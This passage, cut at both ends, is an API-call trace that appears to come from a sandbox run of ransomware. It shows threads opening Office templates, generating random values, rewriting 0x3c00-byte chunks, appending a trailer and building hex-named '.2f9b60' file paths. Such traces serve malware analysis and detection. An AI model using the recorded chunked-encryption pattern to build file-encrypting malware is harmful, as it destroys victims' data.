_Format="%c%c" | out: _Dest="ff") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf526, _Format="%c%c" | out: _Dest="48") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf528, _Format="%c%c" | out: _Dest="63") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf52a, _Format="%c%c" | out: _Dest="0b") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf52c, _Format="%c%c" | out: _Dest="f7") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf52e, _Format="%c%c" | out: _Dest="c2") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf530, _Format="%c%c" | out: _Dest="ac") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf532, _Format="%c%c" | out: _Dest="28") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf534, _Format="%c%c" | out: _Dest="1e") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf536, _Format="%c%c" | out: _Dest="d0") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf538, _Format="%c%c" | out: _Dest="9e") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf53a, _Format="%c%c" | out: _Dest="a8") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf53c, _Format="%c%c" | out: _Dest="ee") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf53e, _Format="%c%c" | out: _Dest="7a") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf540, _Format="%c%c" | out: _Dest="9e") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf542, _Format="%c%c" | out: _Dest="f8") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf544, _Format="%c%c" | out: _Dest="46") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf546, _Format="%c%c" | out: _Dest="1e") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf548, _Format="%c%c" | out: _Dest="02") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf54a, _Format="%c%c" | out: _Dest="04") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf54c, _Format="%c%c" | out: _Dest="15") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf54e, _Format="%c%c" | out: _Dest="28") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf550, _Format="%c%c" | out: _Dest="d5") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf552, _Format="%c%c" | out: _Dest="cc") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf554, _Format="%c%c" | out: _Dest="06") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf556, _Format="%c%c" | out: _Dest="44") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf558, _Format="%c%c" | out: _Dest="90") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf55a, _Format="%c%c" | out: _Dest="fe") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf55c, _Format="%c%c" | out: _Dest="f1") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf55e, _Format="%c%c" | out: _Dest="b2") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf560, _Format="%c%c" | out: _Dest="79") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf562, _Format="%c%c" | out: _Dest="31") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf564, _Format="%c%c" | out: _Dest="54") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf566, _Format="%c%c" | out: _Dest="b0") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf568, _Format="%c%c" | out: _Dest="fa") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf56a, _Format="%c%c" | out: _Dest="6f") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf56c, _Format="%c%c" | out: _Dest="75") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf56e, _Format="%c%c" | out: _Dest="b8") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf570, _Format="%c%c" | out: _Dest="a1") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf572, _Format="%c%c" | out: _Dest="46") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf574, _Format="%c%c" | out: _Dest="45") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf576, _Format="%c%c" | out: _Dest="33") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf578, _Format="%c%c" | out: _Dest="90") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf57a, _Format="%c%c" | out: _Dest="13") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf57c, _Format="%c%c" | out: _Dest="0f") returned 2 [0202.024] sprintf (in: _Dest=0x1cddf57e, _Format="%c%c" | out: _Dest="62") returned 2 [0202.024] RtlInitAnsiString (in: DestinationString=0x35f3f908, SourceString="dfe4ff48630bf7c2ac281ed09ea8ee7a9ef8461e02041528d5cc064490fef1b2793154b0fa6f75b8a146453390130f62" | out: DestinationString="dfe4ff48630bf7c2ac281ed09ea8ee7a9ef8461e02041528d5cc064490fef1b2793154b0fa6f75b8a146453390130f62") [0202.024] RtlAnsiStringToUnicodeString (in: DestinationString=0x35f3f8d8, SourceString="dfe4ff48630bf7c2ac281ed09ea8ee7a9ef8461e02041528d5cc064490fef1b2793154b0fa6f75b8a146453390130f62", AllocateDestinationString=1 | out: DestinationString="dfe4ff48630bf7c2ac281ed09ea8ee7a9ef8461e02041528d5cc064490fef1b2793154b0fa6f75b8a146453390130f62") returned 0x0 [0202.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4310b4f0 [0202.025] wcscat (in: _Dest=0x431a82a0, _Source="dfe4ff48630bf7c2ac281ed0" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\dfe4ff48630bf7c2ac281ed0") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\dfe4ff48630bf7c2ac281ed0" [0202.025] wcscat (in: _Dest=0x431a82a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\dfe4ff48630bf7c2ac281ed0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\dfe4ff48630bf7c2ac281ed0.2f9b60" [0202.025] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\dfe4ff48630bf7c2ac281ed0.2f9b60", NtPathName=0x35f3f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\dfe4ff48630bf7c2ac281ed0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x4310b420 Thread: id = 1140 os_tid = 0x79c [0113.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx")) returned 0x20 [0113.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx", dwFileAttributes=0x20) returned 1 [0113.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15a0 [0113.008] GetFileSizeEx (in: hFile=0x15a0, lpFileSize=0x3600fd00 | out: lpFileSize=0x3600fd00*=9893043) returned 1 [0113.008] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x96f4af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.008] ReadFile (in: hFile=0x15a0, lpBuffer=0x3600fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3600fcc8, lpOverlapped=0x0 | out: lpBuffer=0x3600fc80*, lpNumberOfBytesRead=0x3600fcc8*=0x4, lpOverlapped=0x0) returned 1 [0113.014] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ff0 [0113.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261220 [0113.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263cb0 [0113.014] NtQuerySystemTime (in: CurrentTime=0x3600fbc0 | out: CurrentTime=0x3600fbc0*=132462177184738000) returned 0x0 [0113.014] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x72300844 [0113.014] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x6d45322f [0113.014] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x55b69031 [0113.014] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x3e6b4e1b [0113.014] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x41316d31 [0113.014] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x28e36a5 [0113.014] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x39a7587a [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x78d0f5e3 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x357d8203 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x8cdc08c [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x7acaf480 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x2321f6ff [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x791e7d00 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x76fc9f10 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x587ea682 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x5d57eca4 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x5b0501f8 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x5a24f831 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x7aba7dbb [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x68dd7732 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x58fa09de [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x605a422e [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x28ba3986 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x6eb8eaa3 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x79ca1d1 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x40a14a40 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x54f7fe5e [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x51b90ad5 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x437cdb14 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x2891c608 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x4ad3cc0 [0113.015] RtlRandomEx (in: Seed=0x3600fbb0 | out: Seed=0x3600fbb0) returned 0x26b8d5eb [0113.027] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.027] ReadFile (in: hFile=0x15a0, lpBuffer=0x41d9b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3600fc20, lpOverlapped=0x0 | out: lpBuffer=0x41d9b4e0*, lpNumberOfBytesRead=0x3600fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0113.029] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0113.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0113.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ff0 [0113.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ff0) returned 1 [0113.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d9f0f0 [0113.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ff0 [0113.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263cb0 [0113.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263cb0) returned 1 [0113.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0113.030] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0113.030] WriteFile (in: hFile=0x15a0, lpBuffer=0x41d9f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3600fc20, lpOverlapped=0x0 | out: lpBuffer=0x41d9f0f0*, lpNumberOfBytesWritten=0x3600fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0130.283] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d9f0f0) returned 1 [0130.283] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x4bb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.284] ReadFile (in: hFile=0x15a0, lpBuffer=0x41d9b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3600fc20, lpOverlapped=0x0 | out: lpBuffer=0x41d9b4e0*, lpNumberOfBytesRead=0x3600fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0130.286] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x4bb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859760 [0130.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859760) returned 1 [0130.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d9f0f0 [0130.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859760 [0130.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859790 [0130.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859790) returned 1 [0130.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.288] WriteFile (hFile=0x15a0, lpBuffer=0x41d9f0f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3600fc20, lpOverlapped=0x0) [0171.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d9f0f0) returned 1 [0171.077] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x96b8b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.077] ReadFile (in: hFile=0x15a0, lpBuffer=0x41d9b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3600fc20, lpOverlapped=0x0 | out: lpBuffer=0x41d9b4e0*, lpNumberOfBytesRead=0x3600fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0171.242] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x96b8b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d400 [0171.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d400) returned 1 [0171.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41df9560 [0171.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d400 [0171.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d430 [0171.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d430) returned 1 [0171.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.245] WriteFile (in: hFile=0x15a0, lpBuffer=0x41df9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3600fc20, lpOverlapped=0x0 | out: lpBuffer=0x41df9560*, lpNumberOfBytesWritten=0x3600fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0194.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41df9560) returned 1 [0194.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf3d0 [0194.650] SetFilePointerEx (in: hFile=0x15a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.650] WriteFile (in: hFile=0x15a0, lpBuffer=0x13b620*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x3600fcd0, lpOverlapped=0x0 | out: lpBuffer=0x13b620*, lpNumberOfBytesWritten=0x3600fcd0*=0x160, lpOverlapped=0x0) returned 1 [0202.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c3d0 [0202.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0202.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263da0 [0202.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263da0) returned 1 [0202.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1ce5dbf0 [0202.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263da0 [0202.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0202.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261040) returned 1 [0202.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0202.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c3d0) returned 1 [0202.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1cddf440 [0202.039] sprintf (in: _Dest=0x1cddf440, _Format="%c%c" | out: _Dest="44") returned 2 [0202.039] sprintf (in: _Dest=0x1cddf442, _Format="%c%c" | out: _Dest="5e") returned 2 [0202.039] sprintf (in: _Dest=0x1cddf444, _Format="%c%c" | out: _Dest="d6") returned 2 [0202.039] sprintf (in: _Dest=0x1cddf446, _Format="%c%c" | out: _Dest="73") returned 2 [0202.039] sprintf (in: _Dest=0x1cddf448, _Format="%c%c" | out: _Dest="d1") returned 2 [0202.039] sprintf (in: _Dest=0x1cddf44a, _Format="%c%c" | out: _Dest="51") returned 2 [0202.039] sprintf (in: _Dest=0x1cddf44c, _Format="%c%c" | out: _Dest="1e") returned 2 [0202.039] sprintf (in: _Dest=0x1cddf44e, _Format="%c%c" | out: _Dest="8b") returned 2 [0202.039] sprintf (in: _Dest=0x1cddf450, _Format="%c%c" | out: _Dest="fb") returned 2 [0202.039] sprintf (in: _Dest=0x1cddf452, _Format="%c%c" | out: _Dest="98") returned 2 [0202.039] sprintf (in: _Dest=0x1cddf454, _Format="%c%c" | out: _Dest="58") returned 2 [0202.039] sprintf (in: _Dest=0x1cddf456, _Format="%c%c" | out: _Dest="dc") returned 2 [0202.039] sprintf (in: _Dest=0x1cddf458, _Format="%c%c" | out: _Dest="1c") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf45a, _Format="%c%c" | out: _Dest="53") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf45c, _Format="%c%c" | out: _Dest="00") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf45e, _Format="%c%c" | out: _Dest="32") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf460, _Format="%c%c" | out: _Dest="cf") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf462, _Format="%c%c" | out: _Dest="6b") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf464, _Format="%c%c" | out: _Dest="f0") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf466, _Format="%c%c" | out: _Dest="36") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf468, _Format="%c%c" | out: _Dest="c6") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf46a, _Format="%c%c" | out: _Dest="c8") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf46c, _Format="%c%c" | out: _Dest="76") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf46e, _Format="%c%c" | out: _Dest="58") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf470, _Format="%c%c" | out: _Dest="4f") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf472, _Format="%c%c" | out: _Dest="26") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf474, _Format="%c%c" | out: _Dest="50") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf476, _Format="%c%c" | out: _Dest="dd") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf478, _Format="%c%c" | out: _Dest="d7") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf47a, _Format="%c%c" | out: _Dest="bb") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf47c, _Format="%c%c" | out: _Dest="cd") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf47e, _Format="%c%c" | out: _Dest="a2") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf480, _Format="%c%c" | out: _Dest="49") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf482, _Format="%c%c" | out: _Dest="bf") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf484, _Format="%c%c" | out: _Dest="90") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf486, _Format="%c%c" | out: _Dest="24") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf488, _Format="%c%c" | out: _Dest="ac") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf48a, _Format="%c%c" | out: _Dest="09") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf48c, _Format="%c%c" | out: _Dest="d2") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf48e, _Format="%c%c" | out: _Dest="58") returned 2 [0202.040] sprintf (in: _Dest=0x1cddf490, _Format="%c%c" | out: _Dest="76") returned 2 [0202.041] sprintf (in: _Dest=0x1cddf492, _Format="%c%c" | out: _Dest="2c") returned 2 [0202.041] sprintf (in: _Dest=0x1cddf494, _Format="%c%c" | out: _Dest="67") returned 2 [0202.041] sprintf (in: _Dest=0x1cddf496, _Format="%c%c" | out: _Dest="84") returned 2 [0202.041] sprintf (in: _Dest=0x1cddf498, _Format="%c%c" | out: _Dest="ca") returned 2 [0202.041] sprintf (in: _Dest=0x1cddf49a, _Format="%c%c" | out: _Dest="fb") returned 2 [0202.041] RtlInitAnsiString (in: DestinationString=0x3600fd48, SourceString="445ed673d1511e8bfb9858dc1c530032cf6bf036c6c876584f2650ddd7bbcda249bf9024ac09d258762c6784cafb" | out: DestinationString="445ed673d1511e8bfb9858dc1c530032cf6bf036c6c876584f2650ddd7bbcda249bf9024ac09d258762c6784cafb") [0202.041] RtlAnsiStringToUnicodeString (in: DestinationString=0x3600fd18, SourceString="445ed673d1511e8bfb9858dc1c530032cf6bf036c6c876584f2650ddd7bbcda249bf9024ac09d258762c6784cafb", AllocateDestinationString=1 | out: DestinationString="445ed673d1511e8bfb9858dc1c530032cf6bf036c6c876584f2650ddd7bbcda249bf9024ac09d258762c6784cafb") returned 0x0 [0202.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310b760 [0202.041] wcscat (in: _Dest=0x431a84b0, _Source="445ed673d1511e8bfb9858d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\445ed673d1511e8bfb9858d") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\445ed673d1511e8bfb9858d" [0202.041] wcscat (in: _Dest=0x431a84b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\445ed673d1511e8bfb9858d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\445ed673d1511e8bfb9858d.2f9b60" [0202.041] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\445ed673d1511e8bfb9858d.2f9b60", NtPathName=0x3600fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\445ed673d1511e8bfb9858d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x4310b690 Thread: id = 1141 os_tid = 0x244 [0113.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx")) returned 0x20 [0113.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx", dwFileAttributes=0x20) returned 1 [0113.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x163c [0113.034] GetFileSizeEx (in: hFile=0x163c, lpFileSize=0x35dcfe40 | out: lpFileSize=0x35dcfe40*=6759587) returned 1 [0113.034] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x67249f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.034] ReadFile (in: hFile=0x163c, lpBuffer=0x35dcfdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x35dcfe08, lpOverlapped=0x0 | out: lpBuffer=0x35dcfdc0*, lpNumberOfBytesRead=0x35dcfe08*=0x4, lpOverlapped=0x0) returned 1 [0113.037] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263cb0 [0113.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261700 [0113.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629c0 [0113.037] NtQuerySystemTime (in: CurrentTime=0x35dcfd00 | out: CurrentTime=0x35dcfd00*=132462177184894000) returned 0x0 [0113.037] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x60d4f64f [0113.037] RtlRandomEx (in: Seed=0x35dcfcf0 | out: Seed=0x35dcfcf0) returned 0x7946e74e [0113.037] RtlRandomEx (in: Seed=0x35dcfcf0 